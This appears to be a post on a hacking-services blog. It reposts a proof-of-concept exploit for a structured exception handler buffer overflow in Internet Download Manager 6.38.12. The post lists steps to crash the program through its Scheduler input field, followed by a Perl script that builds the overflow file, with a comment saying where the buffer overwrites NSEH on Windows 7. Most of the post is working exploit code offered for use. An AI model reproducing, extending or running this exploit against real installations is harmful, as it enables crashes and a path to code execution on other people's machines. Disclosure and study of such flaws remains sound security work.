Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371128

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)
# Date: November 18, 2020
# Exploit Author: Vincent Wolterman
# Vendor Homepage: http://www.internetdownloadmanager.com/
# Software Link: http://www.internetdownloadmanager.com/download.html
# Version: 6.38.12
# Tested on: Windows 7 Professional SP 1 Build 7601; Windows 10 Home Build 19041

# Steps to reproduce crash:
# 1) Execute provided Perl code
# 2) Open IDMan_Crash.txt output file
# 3) Copy contents of text file to clipboard
# 4) Open Internet Download Manager 6.38
# 5) From the Menu bar -> Downloads -> Scheduler
# 6) Check the box for 'Open the following file when done:'
# 7) Paste the contents of IDMan_Crash.txt into the input field below
# 8) Click 'Apply' and observe the crash

#!/usr/bin/perl

$baddata = "\x41" x 1302;
$baddata .= "\x42" x 2; # this length overwrites NSEH on Windows 7 Pro SP 1
$baddata .= "\x43"x(5000-length($baddata));

$file = "IDMan_Crash.txt";
open (FILE, '>IDMan_Crash.txt');
print FILE $baddata;
close (FILE);

print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($baddata) . "\n";